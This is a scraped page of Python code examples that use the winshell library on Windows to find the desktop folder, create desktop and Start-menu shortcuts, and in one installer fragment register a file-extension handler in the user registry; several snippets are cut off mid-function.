        pdfTwoBtn.Bind(wx.EVT_BUTTON, self.onBrowse)
 
        outputLbl = wx.StaticText(self, label="Output name:", size=lblSize)
        self.outputPdf = wx.TextCtrl(self)
        widgets = [(pdfLblOne, self.pdfOne, pdfOneBtn),
                   (pdfLblTwo, self.pdfTwo, pdfTwoBtn),
                   (outputLbl, self.outputPdf)]
 
        joinBtn = wx.Button(self, label="Join PDFs")
        joinBtn.Bind(wx.EVT_BUTTON, self.onJoinPdfs)
 
        self.mainSizer = wx.BoxSizer(wx.VERTICAL)
        for widget in widgets:
            self.buildRows(widget)
        self.mainSizer.Add(joinBtn, 0, wx.ALL|wx.CENTER, 5)
        self.SetSizer(self.mainSizer)
Ejemplo n.º 41
0
 def test_desktop(self):
     self.assert_folder_exists("desktop personal", winshell.desktop(0))
     self.assert_folder_exists("desktop common", winshell.desktop(1))
Ejemplo n.º 42
0
import os, sys
import winshell

shortcut = winshell.shortcut(sys.executable)
shortcut.working_directory = "c:/temp"
shortcut.write(os.path.join(winshell.desktop(), "python.lnk"))
shortcut.dump()
Ejemplo n.º 43
0
import sys
import os
import subprocess

# print(sys.argv)
# print(__file__)
from os import path
import winshell

print(winshell.desktop())


def create_shortcut_to_desktop(*argv):
    target = argv[0]
    title = '我的快捷方式'
    s = path.basename(target)
    fname = path.splitext(s)[0]
    winshell.CreateShortcut(
        Path=path.join(r'e:\bin\all', fname + '.lnk'),
        Target=target,
        Icon=(target, 0),
        Description=title)


create_shortcut_to_desktop(r'e:\bin\iproc')
# a = 1
# iproc = os.getenv('VIPROC', r'e:\bin\iproc\\')
# print(iproc)
if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('usage:{} file_path'.format(__file__))
Ejemplo n.º 44
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os, sys
import winshell

link_filepath = os.path.join(winshell.desktop(), 'PySimulator.lnk')
with winshell.shortcut(link_filepath) as link:
    link.path = sys.prefix + r'\\pythonw.exe'
    link.description = 'PySimulator - Simulation and Analysis Environment in Python'
    link.arguments = '-m PySimulator'
    p = [s for s in sys.path if 'pysimulator' in s]
    if len(p) == 1:
        link.working_directory = os.path.join(p[0], 'PySimulator')
        link.icon_location = (os.path.join(link.working_directory, 'Icons', 'pysimulator.ico'), 0)


assimulo_name = None
sundials_name = None

import win32ui, win32con
import platform
import urllib

try:
    from assimulo.problem import Explicit_Problem
    from assimulo.problem import Implicit_Problem
    from assimulo.solvers import CVode
    from assimulo.solvers import IDA
    from assimulo.solvers import RungeKutta34
except:
def get_desktop_directory():
    """
    Return desktop directory
    """
    
    return winshell.desktop()
Ejemplo n.º 46
0
         sys.prefix,
         "Lib",
         "site-packages", 
         "SAXS",
         "icons",
         "program.ico"))
     wr.SetValue(wr.HKEY_CURRENT_USER,"Software\Classes\TUG.Leash\shell\open\command",wr.REG_SZ,pyw_executable+" \""+ script_file+ "\"  \"%1\"")
     wr.SetValue( wr.HKEY_CURRENT_USER,"Software\Classes\TUG.Leash\DefaultIcon",wr.REG_SZ,iconpath)
     wr.SetValue( wr.HKEY_CURRENT_USER,"Software\Classes\.saxsconf",wr.REG_SZ, "TUG.Leash");
     
     print "added registry values for extensions"
      
     import winshell
     import win32com 
     w_dir = os.path.expanduser('~')
     desktop_path = winshell.desktop()
     startmenu_path =win32com.shell.shell.SHGetSpecialFolderPath(0, win32com.shell.shellcon.CSIDL_STARTMENU)
     with winshell.shortcut( os.path.join(startmenu_path,'SAXSLeash.lnk')) as link:
         link.path= pyw_executable
         link.description =  "Control panel for SAXSdog Server"
         link.arguments =  script_file
         link.icon_location=(iconpath,0)
     with winshell.shortcut( os.path.join(desktop_path,'SAXSLeash.lnk')) as link:
         link.path= pyw_executable
         link.description = "Control panel for SAXSdog Server"
         link.arguments =  script_file
         link.icon_location=(iconpath,0)
     print startmenu_path
     call(["ie4uinit.exe" ,"-ClearIconCache"])
 elif os.name == "posix":
     print os.name